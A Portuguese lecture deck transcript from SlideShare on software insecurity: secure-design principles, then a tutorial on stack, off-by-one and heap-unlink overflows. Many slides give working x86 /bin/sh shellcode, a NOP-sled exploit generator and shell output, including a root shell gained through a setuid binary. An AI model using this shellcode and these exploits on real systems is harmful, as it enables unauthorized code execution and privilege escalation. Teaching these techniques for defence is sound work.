Your SlideShare is downloading. ×

(In)Segurança De Software, Quebrando Códigos

4,283

Published on

Técnicas de exploração de vulnerabilidades de software.

Técnicas de exploração de vulnerabilidades de software.

Published in: Technology, News & Politics
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
4,283
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
86
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. (In)Segurança de Software Quebrando Códigos Rafael Rosa 11/2009 rafaeltbh *nospan* yahoo dot com dot br
  • 2. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 3. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 4. O que é Software? Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software é uma sequência de instruções a serem seguidas na manipulação, redirecionamento, ou modificação de um conjunto de dados.  Conjunto de procedimentos, documentação e estruturas de dados que visam manipular dados.
  • 5. Software Sempre Falha Causas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de software só existem porque as pessoas que os constroem estão susceptíveis a falhas.  Falta de experiência para reconhecer e remover falhas e defeitos na fase de projeto e de desenvolvimento.  Falta de conhecimento de princípios básicos de desenvolvimento seguro.
  • 6. Quando o Software Falha Consequências (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Expõe dados confidenciais à usuários não autorizados.  Programa pode terminar a execução ao receber entradas não esperadas.  Pode permitir injeção e execução de código malicioso.
  • 7. Correção de Software Defeituoso Manutenção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desenvolvedores só podem aplicar patchs em bugs conhecidos. Guardados a sete chaves pelos grupos hackers.  Patchs geralmente não são aplicados por desconhecimento dos usuários e por comodismo dos administradores de sistema (sistema funciona então não vou mexer, minha rede não vai ser atacada).
  • 8. Correção de Software Defeituoso Manutenção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Correções precisam ser feitas muito rapidamente por necessidades de mercado, com isso o que deveria apenas corrigir uma vulnerabilidade pode introduzir um série de outras.  Geralmente corrigem os sintomas, não a real causa do problema.
  • 9. Desenvolvimento de Software Dificuldades (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Complexidade.  Extensibilidade.  Conectividade.
  • 10. Dificuldades Complexidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software está se tornando cada vez mais complexo, o que aumenta a quantidade de defeitos de projeto.  Número cada vez maior de linhas de código. Mais bugs.  Menos funcionalidade significa menos risco de exposição.
  • 11. Dificuldades Extensibilidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Permite a adição de novas funcionalidades a um sistema. Plug-ins, drivers de dispositivo e módulos dinamicamente carregados.  Recursos que permitem extensibilidade devem ser bem projetados. Difícil proteger algo que ainda não foi desenvolvido.
  • 12. Dificuldades Conectividade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Popularização da internet. Enorme quantidade de sistemas de software trocando informações sigilosas via rede.  Alta conectividade entre usuários domésticos e infra- estruturas críticas.  Aumento do número de vetores de ataque.
  • 13. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa    Bug. Falha. Defeito. Problemas Desenvolvimento de Software
  • 14. Problemas Bug (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Existe somente em código, são erros comuns cometidos por programadores. Copiar 20 bytes para um buffer de tamanho 10.
  • 15. Problemas Defeito (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Condição anormal que pode existir em qualquer artefato na fase de desenvolvimento de software. No início de uma comunicação criptografada os dois nós trocam as chaves assimétricas, e então se inicia um sessão criptografada. Através dessa sessão os dois nós trocam uma chave simétrica, de modo que os dados possam então ser criptografados pela mesma.
  • 16. Problemas Falha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Comportamento diferente do esperado. Defeito ou bug ativado. Quando um atacante se coloca no meio de uma conexão criptografada desde o início do handshake, ele pode burlar toda a segurança imposta pelo método de chave assimétrica. Com isso pode obter a chave simétrica e então explorar a conexão como quiser.
  • 17. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 18. Segurança de Software (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Segurança é relativa. Software tem que ser seguro contra o quê? E contra quem?  Mecanismos de segurança não podem ser simplesmente adicionados à um sistema, tem que ser considerados desde o início do projeto.
  • 19. Segurança de Software (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Cada ambiente tem que ser analisado cuidadosamente para não afetar a usabilidade, funcionalidade e eficiência do sistema de software.  Software seguro deve prover confidenciabilidade, autenticação, integridade, segurança multi-nível, e anonimidade
  • 20. Software Seguro Proteção da ponta mais fraca (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software é tão seguro quanto sua ponta mais fraca.  Atacantes vão seguir pelo caminho de menor resistência.
  • 21. Software Seguro Defesa em profundidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mecanismos de segurança devem ser redundantes. Permite vários pontos de falha.  Evita que um único ponto de falha comprometa a segurança do sistema como um todo.  Aplicação deve ser projetada como se todos os outros mecanismos de segurança do sistema tivessem sido burlados.
  • 22. Software Seguro Falhar de modo seguro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas são inevitáveis e precisam ser planejadas de modo a não expôr o sistema. Recuperação de falhas é um aspecto essencial da engenharia de segurança.  Após um falha alterações devem ser desfeitas de modo que o sistema volte a um estado seguro.  Valores de retorno devem ser cuidadosamente chegados.
  • 23. Software Seguro Princípio de menor privilégio (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mínimo de permissão durante o menor tempo possível.  Desistir de permissões elevadas assim que ações que as exigiam forem completadas.  Se um vulnerabilidade for explorada o atacante terá tantas regalias quanto o processo quebrado.
  • 24. Software Seguro Compartimentalização (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Separar o sistema em tantos compartimentos quanto for possível, de modo que cada compartimento tenha o mínimo de privilégio necessário para realizar as operações de que está encarregado.  Confinar códigos com alto nível de privilégio. Todo dano ocorrerá em um “ambiente” controlado.
  • 25. Software Seguro KISS (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Complexidade aumenta o risco de defeitos.  Reutilização de componentes que já provaram sua qualidade.  Não é inteligente criar rotinas próprias de criptografia e garantia de integridade.
  • 26. Software Seguro Privacidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Feedback para o usuário é diferente de prover muita informação.  Privacidade dos usuários não deve ser comprometida. Dados pessoais devem ser bem protegidos.
  • 27. Software Seguro Esconder segredos não é fácil (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ofuscamento de código e segurança por obscuridade não funcionam. Acesso ao binário significa acesso à informação.  Deve-se considerar que o atacante conhece o sistema tanto quanto o desenvolvedor.
  • 28. Software Seguro Não confiar em interfaces externas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Toda interface com o software é um possível vetor de ataque.  Entrada de qualquer interface do sistema deve ser vista com desconfiança. Não se deve assumir nada em relação a I/O.  Suposições incorretas sobre o ambiente de execução do sistema resultam em problemas de segurança.
  • 29. Analisando Software Ferramentas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Depurador.  Disassembler.  Descompilador.  Ferramenta de auditoria de segurança.  Fuzzer.
  • 30. Analisando Software Depurador (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executa um programa passo a passo, permite análise de registradores, dumps de memória, configuração de pontos de interrupção,  OllyDbg, SofIce, gdb.
  • 31. Analisando Software Disassembler (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz engenharia reversa do código de máquina gerando código assembly.  IDAPro, OllyDbg, gdb, Valgrind.
  • 32. Analisando Software Descompilador (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz engenharia reversa do código de máquina gerando código de alto nível. Código um tanto obscuro.  Depende da quantidade de informação da linguagem de alto nível contida no binário.  Rec, dcc.
  • 33. Analisando Software Ferramenta de auditoria de segurança (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz auditoria de código fonte em busca de padrões previamente conhecidos como “problemáticos”. Descrevem o problema encontrado e propõe correções.  RATS, Flawfinder, ITS4.
  • 34. Analisando Software Fuzzers (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Injeta dados inválidos, mal formatados, maliciosos, e inesperados em pontos de entrada de dados do software. Se ocorrer algo diferente do esperado, o defeito é detectado.  Os dados de entrada por sem baseados tanto em white- box quanto em black-box.  FuzzGrind, tmin.
  • 35. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 36. Buffer Overflow O que é? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um bug permite que se possa extravasar a quantidade de memória reservada a um buffer, permitindo que dados sejam gravados em endereços de memória contíguos.  Erro de programação comum em linguagem C. Muitos poderes exigem muitas responsabilidades.
  • 37. Buffer Overflow E daí? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Esse endereço contíguo pode ser um frame de pilha, endereço de retorno, ponteiro de função ou uma variável de controle da aplicação.  Esquemas de proteção em software podem ser facilmente quebrados caso sejam controlados por dados (flags, variáveis de controle) em memória.
  • 38. Buffer Overflow Funções vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  gets, strcpy, strcat, sprintf, scanf, sscanf, fscanf, streadd, strecpy, strtrns, getopt, getchar, fgetc, getc, read, bcopy, fgets, memcpy, snprintf, strncpy, syslog.
  • 39. Buffer Overflow Área de memória vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Overflows podem ocorrer na stack ou na heap.  Na heap são mais difíceis de explorar e de identificar.
  • 40. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 41. Stack Overflow Stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Área da memória reservada para chamadas de função e armazenamento de variáveis locais. esp var2 var1 buffer1 ebp ebp salvo ret arg1 arg2
  • 42. Stack Overflow Mapeamento da Stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sistemas unix mapeiam a stack para regiões altas de memória: 0xbffeb000 - 0xc0000000  Sistemas Windows mapeiam para regiões baixas: 0x0022ff1f - 0x00096cbf
  • 43. Stack Overflow Mapa de memória no Linux (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memória baixa não usada .init, .text, .rodata .data, .bss heap Bibliotecas compartilhadas stack memória alta kernel
  • 44. Stack Overflow Mapa de memória no Windows (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memória baixa kernel stack heap .text .data, .rodata, .bss Bibliotecas memória alta compartilhadas
  • 45. Stack Overflow Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ int main(int argc, char *argv[]){ char buffer[16]; if(argc != 2){ strcpy(buffer, str); printf("uso: %s <param>n", argv[0]); printf("%sn", buffer); return 1; } } func(argv[1]); printf("fimn"); } [rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFF AAAABBBBCCCCDDDDEEEEFFFF Segmentation fault [rafael@centos stack]$
  • 46. Stack Overflow Stack do programa (In)Segurança de Software, Quebrando Códigos - Rafael Rosa crescimento da stack buffer[16] EBP anterior end retorno ptr str esp ebp
  • 47. Stack Overflow Vetor de injeção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Injetar vetor de ataque de modo a controlar o endereço de retorno. vetor de injeção buffer[16] EBP anterior end retorno ptr str
  • 48. Stack Overflow Executando código inativo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void foo(){ printf("nunca entra aquin"); int main(){ exit(1); func(); } printf("fimn"); } void func(){ char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)&foo; printf("%sn", buffer); } [rafael@centos stack]$ ./stack_overflow_ex2 AAAABBBBCCCCDDD nunca entra aqui [rafael@centos stack]$
  • 49. Stack Overflow Controlando endereço de retorno (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Endereço de retorno sobrescrito. AAAA...DDD EBP anterior ptr foo ... buffer[16] EBP anterior end retorno ... esp ebp crescimento da stack
  • 50. Stack Overflow Executando um shell (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  E se fosse um shell? void foo(){ char *params[2]; params[0] = "/bin/sh"; params[1] = NULL; execve(params[0], params, NULL); } [rafael@centos stack]$ ./stack_overflow_ex3 AAAABBBBCCCCDDD sh-3.2$
  • 51. Stack Overflow Planejando o ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Não basta sobrescrever o endereço de retorno. Precisamos de um shellcode no nosso vetor de injeção. Endereço de retorno deve apontar para o payload, de modo a redirecionar o fluxo para o código de execução do shell.
  • 52. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desassemblando chamada à execve(). movl $0x80484a8,0xfffffff4(%ebp) “/bin/sh' movl $0x0,0xfffffff8(%ebp) NULL mov 0xfffffff4(%ebp),%edx movl $0x0,0x8(%esp) NULL lea 0xfffffff4(%ebp),%eax mov %eax,0x4(%esp) /bin/sh mov %edx,(%esp) /bin/sh, NULL call 0x8048280 <execve>
  • 53. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desassemblando execve(). mov 0x8(%ebp), %ebx “/bin/sh” mov 0xc(%ebp), %ecx {“/bin/sh”, NULL} mov 0x10(%ebp), %edx NULL mov $0xb, %eax 0xb int $0x80
  • 54. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  eax recebe 0xb.  Ponteiro para “/bin/sh” deve estar em ebx.  Ponteiro de strings em ecx.  Ponteiro NULL em edx.
  • 55. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa BITS 32 section .text global _start _start: push 0 ; empilha '0' push 0x68732f2f ; empilha “//sh” push 0x6e69622f ; empilha “/bin” mov ebx, esp ; ebx aponta para “/bin//sh” push 0 ; empilha NULL push ebx ; empilha endereço de “/bin//sh” mov ecx, esp ; ecx aponta para ponteiros de strings mov eax, 0xb ; eax recebe 0xb (execve) int 0x80 ; chamada de sistema
  • 56. Stack Overflow Testando o código (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executando shellcode. [rafael@centos stack]$ nasm -f elf -o shellcode1.o shellcode1.asm [rafael@centos stack]$ ld -s -o shellcode1 shellcode1.o [rafael@centos stack]$ ./shellcode1 sh-3.2$ exit exit [rafael@centos stack]$  Gerando binário. [rafael@centos stack]$ nasm -f bin -o shellcode1.bin shellcode1.asm
  • 57. Stack Overflow Binário gerado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Binário gerado possui 0x00, o que acarretaria no término de uma operação de string.
  • 58. Stack Overflow Escrevendo shellcode sem 0x00 (In)Segurança de Software, Quebrando Códigos - Rafael Rosa BITS 32 section .text global _start _start: xor eax,eax ; zera eax push eax ; empilha eax push 0x68732f2f ; empilha “//sh” push 0x6e69622f ; empilha “/bin” mov ebx, esp ; ebx aponta para “/bin//sh” push eax ; empilha NULL push ebx ; empilha endereço de “/bin//sh” mov ecx, esp ; ecx aponta para ponteiros de strings mov al, 0xb ; al recebe 0xb (execve) int 0x80 ; chamada de sistema
  • 59. Stack Overflow Testando o código (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executando shellcode. [rafael@centos stack]$ nasm -f elf -o shellcode2.o shellcode2.asm [rafael@centos stack]$ ld -s -o shellcode2 shellcode2.o [rafael@centos stack]$ ./shellcode2 sh-3.2$ exit exit [rafael@centos stack]$  Gerando binário. [rafael@centos stack]$ nasm -f bin -o shellcode2.bin shellcode2.asm
  • 60. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Binário gerado Stack Overflow
  • 61. Stack Overflow Shellcode ganhando eip (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char shellcode[]= "x31xc0x50x68x2f” “x2fx73x68x68x2fx62x69x6ex89” int main(){ “xe3x50x53x89xe1xb0x0bxcdx80”; func(); printf("fimn"); void func(){ } char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)shellcode; printf("%sn", buffer); } [rafael@centos stack]$ ./stack_overflow_ex4 sh-3.2$ exit exit [rafael@centos stack]$
  • 62. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Para criar o vetor de injeção levar em conta tamanho do buffer, alinhamento dos bytes, e restrições de entrada. Payload pode ser colocado em qualquer localização de memória conhecida
  • 63. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ret deve estar nesse intevalo NOPs Shellcode ret... ret ret ret... buffer[] EBP anterior end retorno ... esp ebp crescimento da stack
  • 64. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como prever a posição correta de retorno?  Stack geralmente é alocada no mesmo endereço. Conhecendo o início da stack fica fácil adivinhar onde o buffer a ser explorado está.
  • 65. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define RETADDRS 0xbffff600 char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80"; int main(int argc, char **argv){ FILE *badfile; long *ptr; unsigned int ret; int n, i; char buffer[313]; if(argc != 2){ fprintf(stderr, "uso: %s <ret>n", argv[0]); return 1; }
  • 66. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ret = RETADDRS - atoi(argv[1]); memset(&buffer, 0x90, 312); memcpy(buffer+120, shellcode, strlen(shellcode)); ptr = buffer + 120 + strlen(shellcode); /*alinhando em 4 bytes*/ ptr = ((char*)ptr) + (4 - strlen(shellcode)%4); n = (&buffer[311] - (char*)ptr)/4; for(i = 0; i < n; i++) ptr[i] = ret; buffer[312] = '0'; badfile = fopen("./badfile_ex5.bin", "w"); fwrite(buffer, 313, 1, badfile); fclose(badfile); }
  • 67. Stack Overflow Ganhando um shell (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./exploit_stack_overflow_ex5 300 [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin ` ������������������������������������������� ������������������������������������������� ����������������������������������1�Ph//shh/bin�� PS��1Ұ ̀�������������������������� ������������������������������������������� ������������������������������������������� ������������������������������������������� ������������ sh-3.2$  Pra que serve isso?
  • 68. Stack Overflow Ganhando acesso irrestrito (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se o programa tivesse permissões elevadas: [root@centos stack]# chown root stack_overflow_ex5 [root@centos stack]# chmod +s stack_overflow_ex5 [root@centos stack]# ls -l stack_overflow_ex5 -rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5 [rafael@centos stack]$ ./exploit_stack_overflow_ex5 450 [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin ` ������������������������������������������ ������������������������������������������ ������������������������������������1�Ph//shh/bin ��PS��1Ұ ̀������������������� ������������������������������������������ ������������������������������������������ ������������������������ # whoami root #
  • 69. Stack Overflow Terminador não calculado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Operações de buffer são feitas sem levar em consideração o byte NULL de terminação da string.  Dependendo da função de tratamento o terminador pode ou não ser colocado.  Se não for colocado, a string pode ser tratada como se fosse maior do que realmente é.  Se for colocado, o byte seguinte à string será sobrescrito com 0x00.
  • 70. Stack Overflow No terminator (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define MAXLEN 128 int func1(char *str1, char *str2){ char buffer[MAXLEN]; memset(buffer, 0xff, MAXLEN); strncpy(buffer, str1, MAXLEN-1); strncat(buffer, str2, MAXLEN - strlen(buffer)-1); printf("%sn", buffer); } /*função de auxílio, já que o frame da main é protegido*/ int func(char *str1, char *str2){ int x=0; func1(str1, str2); }
  • 71. Stack Overflow No terminator (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(int argc, char *argv[]){ if(argc != 3){ fprintf(stderr, "uso %s <arg1> <arg2>n", argv[0]); return 1; } func(argv[1], argv[2]); }
  • 72. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando MAXLEN-1 bytes são copiados em strncpy, o terminador não é escrito.  strlen(buffer) será maior que MAXLEN-1, fazendo a operação resultar em um valor negativo, que quando interpretado como unsigned representa um valor muito grande. Com isso acontecerá a concatenação.  O final do buffer é o primeiro byte 0x00 a partir do início do mesmo.
  • 73. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Pilha do programa vulnerável payload injetado buf shellcode ebp ebp retaddr retaddr str1 str1 str2 str2 x ebp retaddr ret... str1 str2
  • 74. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Os 128 bytes do buffer serão preenchidos com o payload.  Mais 80 bytes serão passados com o endereço de retorno. [rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin ` ESP: 0xbffff444 [rafael@centos stack]$
  • 75. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Deve-se considerar o tamanho do buffer: ret = 0xbffff444 - 128
  • 76. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./nonull `cat badfile_nonull.bin ` ������������������������������������������� ������������������������������������������� ������������������1�Ph//shh/bin��PS��� ̀�H�����`������������������������������������ ������������������������������������������� ����� sh-3.2$ exit exit [rafael@centos stack]$
  • 77. Stack Overflow Off by one (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func1(char *str){ char buf[200]; int main(int argc, char *argv[]){ strcpy(buf, "argv[1] = "); if(argc != 2){ strncat(buf, str, sizeof(buf) - strlen(buf) ); fprintf(stderr, "uso %s <arg>n", argv[0]); printf("%sn", buf); return 1; } } /*função de auxílio já que o frame da main é func(argv[1]); protegido*/ } int func(char *str){ func1(str); }
  • 78. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Consiste na falsificação do frame de pilha da função chamadora. Pilha do programa vulnerável payload injetado shellcode Quando a função buf chamadora retornar, o valor ret... apontado pelo ebp ebp ebp injetado + 4 retaddr tomará o controle retaddr do eip. str str ebp ebp retaddr retaddr
  • 79. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como sobrescrevemos o byte menos significativo do ebp, o deslocamento máximo do ebp da função chamadora é 255 bytes.  Quanto menor o valor do LSB do ebp salvo, menor será o deslocamento, e quanto menor o deslocamento, pode-se garantir que o novo ebp apontará para o fim do buffer.  Preenchendo o início do buffer com o endereço do payload o fluxo será redirecionado para o código injetado.
  • 80. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Dos 200 bytes do buffer sobram 190 para a entrada do programa [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin ` ESP: 0xbffff454 [rafael@centos stack]$  O LSB deve ser menor. [rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'` [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin ` ESP: 0xbffff3f4 [rafael@centos stack]$
  • 81. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Deve-se considerar o tamanho do buffer: ret = 0xbffff3f4 - 200
  • 82. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin ` Argv[1] = ������������������������������������� ������������������������������������������� ���������������������1�Ph//shh/bin��PS��� ̀,���,���,���,���,���,���,���,���,���,���,���,� ��,���,���,���, sh-3.2$ exit exit [rafael@centos stack]$
  • 83. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 84. Heap Overflow Heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Área da memória reservada para alocação dinamica de blocos de memória.  Cada bloco alocado possui um cabeçalho de controle.  Gerenciada e organizada por algorítimos complexos.
  • 85. Heap Overflow Cabeçalho da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa chunk A prev_size prev_size prev_size size 00010000b 00010000b fd bk dados dados chunk B prev_size size 00010001b 00010001b fd próximo livre bk dados anterior livre chunk C prev_size 00010000b size tam & PREV_INUSE tam fd próximo livre próximo livre bk anterior livre anterior livre
  • 86. Heap Overflow Campos do cabeçalho (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  prev_size: Caso o chunk anterior (fisicamente) esteja livre, contém tamanho desse chunk, caso contrário, é usado como espaço para dados do chunk anterior.  size: tamanho em bytes (múltiplos de 8) do chunk atual. Dois bits menos significativos PREV_INUSE e IS_MMAPPED.
  • 87. Heap Overflow Campos do cabeçalho (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  fd: próximo chunk na bin. Caso chunk esteja alocado é usado como área de dados.  bk: chunk anterior na bin. Caso chunk esteja alocado é usado como área de dados.
  • 88. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Chunks livres ficam em uma lista duplamente encadeada chamada bin.  Essa lista é controlada pelos campos fd e bk do cabeçalho.  Há uma bin para cada tamanho de chunk (8, 64, 512, etc).
  • 89. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando free() é chamada em um endereço de memória (área de dados de um chunk), os chunks fisicamente adjacentes são checados a fim de fazer uma fusão gerando um chunk maior.  Assim sendo, o chunk livre tem que ser retirado da bin onde se encontra, e só então a fusão pode acontecer.
  • 90. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  unlink() é chamada no chunk. #define unlink( P,BK,FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; }
  • 91. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Controlando fd e bk do chunk P é possível sobrescrever qualquer endereço de memória.
  • 92. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main (void){ int *aux; void (*foo)() = NULL; char *ptr1, *ptr2; ptr1 = malloc (128); ptr2 = malloc (16);
  • 93. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa aux = ptr2; *aux = ((char*)&foo) - 12; /* FD 2*/ aux++; *aux = payload; /* BK 2*/ aux = ptr2+16; *aux = 0xdefaced; /* prev_size 3*/ aux++; *aux = 0xdefaced & ~0x1; /*size 3*/ free (ptr1); if( foo ) foo(); }
  • 94. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  fd do segundo chunk recebe o endereço a ser sobrescrito menos 12 (FD->bk = FD+12).  bk recebe valor (comprimento de um ponteiro) a ser colocado no endereço alvo.  O campo size do terceiro chunk recebe um valor qualquer em que o bit PREV_INUSE esteja desativado.
  • 95. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando free() é chamada para desalocar o primeiro chunk, o campo size do terceiro chunk é testado, e como o bit PREV_INUSE está desativado unlink() será chamada no segundo chunk de modo que se possa fazer a junção do primeiro e do segundo.  foo então recebe o endereço de payload. payload+8 (BK->fd = BK+8) recebe endereço de foo menos 12.
  • 96. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como são sobrescritos 4 bytes a partir de payload+8 haverá instruções ilegais no meio do shellcode. payload+8 jmp 0xa dummy shellcode 0xa [rafael@centos heap]$ ./heap_overflow_ex1 sh-3.2$
  • 97. Heap Overflow Forjando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main(){ int *aux; void (*foo)() = NULL; char *ptr1, *ptr2; ptr1 = malloc (128); ptr2 = malloc (16);
